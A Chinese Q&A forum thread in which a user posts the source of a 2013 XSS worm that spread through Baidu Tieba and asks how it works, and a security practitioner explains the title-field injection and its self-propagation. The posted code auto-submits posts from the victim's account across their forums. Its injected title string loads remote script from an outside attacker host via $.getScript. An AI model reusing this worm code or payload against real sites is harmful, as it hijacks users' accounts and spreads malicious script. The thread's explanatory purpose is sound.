百度贴吧受到大规模XSS攻击,求具体解释【附原代码】

原码如下
//initilize
var forumName = [];
var forumId = [];
for (var i = 0, j = 0; i < PageData.user.user_forum_list.info.length; i++) {
if (PageData.user.user_forum_list.info.user_level > 3) {
if (PageData.user.user_forum_list.info[i].forum_name!="贴吧监控") {
forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
forumId[j] = PageData.user.user_forum_list.info[i].id;
j++;
}
}
} function madeit(myKw, myFid) {
var c = rich_postor._getData();
c.content="\u8bf7\u5141\u8bb8\u6211\u505a\u4e00\u4e2a\u5fe7\u4f24\u7684\u8868\u60c5\uff0c\u662f\u5fe7\u4f24\u54e6\uff01";
c.ftid = c.fid;
c.ptid = "2337150032";
c.title = '\u70b9\u8fdb\u6765\u6709..",a:$.getScript(\'//xss.retaker.me/1.js\'),a:"';
c.fid = myFid;
c.kw = myKw;
$.post("/relay/commit", c);
}
//now begin!
for (j = 0; j < forumName.length; j++) {
setTimeout("madeit('" + forumName[j] + "','" + forumId[j] + "')", 1500 * j);
}
求解释攻击原理

推荐  (0) | 6人关注关注
3个答案
2 0

渚熏软件工程师,网路安全从业者

2013-05-20 11:03
支持者: jonnyRain TheCrazyMouse

昨天爆出来的时候我特意找了个没被和谐的帖子分析了下,是贴吧发帖的标题处过滤的不够完善,导致能调用了贴吧js里的getscript函数,从攻击者控制的服务器上下载执行了你贴的这段js代码,详细如下

贴吧显示文章页面的js脚本有个json对象是这么写的:

PageData.thread = {
author:"路人甲",
id:2318804402,
title:"测试标题", reply_num:600, thread_type:"0",
topic:{"is_topic":false,"topic_type":false,"is_live_post":false,"is_lpost":false,"lpost_type":0},
is_ad:0, video_url:""
};

注意标红部分,这里过滤的不够完善,可以利用双引号闭合前面的属性,然后再插入一个属性,属性值如果是一个函数就可以执行,而且因为贴吧的js脚本中自己带有一个getscript函数,功能是加载一个远端的js脚本,所以攻击者构造了这么一个串:

请点击...",a:$.getScript(‘xss代码地址’),a:"

红色部分是实现攻击的代码,第一个引号用来闭合title这个属性,之后插入了一个属性a,属性值调用了getScript这个函数加载执行攻击代码(也就是楼主你贴的这个),最后又写了一个属性a和双引号闭合原来title属性最后的那个双引号,防止js执行出错。

至于你贴的这段代码其实没什么特别的,就是利用js自动提交一个发帖请求,标题跟上面说的一样同样的xss串,这样点了攻击者发的帖子后,神不知鬼不觉的自己也发了个同样的帖子,然后别人点了之后他们也神不知鬼不觉的发了同样的帖子,这样就形成了一个典型的xss蠕虫大规模流行开来。
===========================
另外,这次xss蠕虫百度已经处理完毕,攻击者貌似起初只是做个测试,从蠕虫发帖子的内容来看也带有点戏谑的成分并无恶意目的,但是边界没控制好玩得有点大,后来也主动把攻击脚本删除,蠕虫也就停止扩散了。详情请参见:
https://www.wooyun.org/bugs/wooyun-2013-024106

0 0

JIK动漫控,科幻控,文艺小青年(啊,这个文艺不是刚才...

2013-05-20 19:27

哇塞。。。虽然看不懂。。但是感觉好高端的样子。。

查看更多

添加回答

登录 后回答问题,你也可以用以下帐号直接登录

相关问答

关于我们 加入果壳 媒体报道 帮助中心 果壳活动 家长监控 免责声明 联系我们 移动版 移动应用

©果壳网    京ICP证100430号    京网文[2015] 0609-239号    新出发京零字东150005号     京公网安备11010502007133号

违法和不良信息举报邮箱:jubao@guokr.com    举报电话:18612934101    网上有害信息举报专区    儿童色情信息举报专区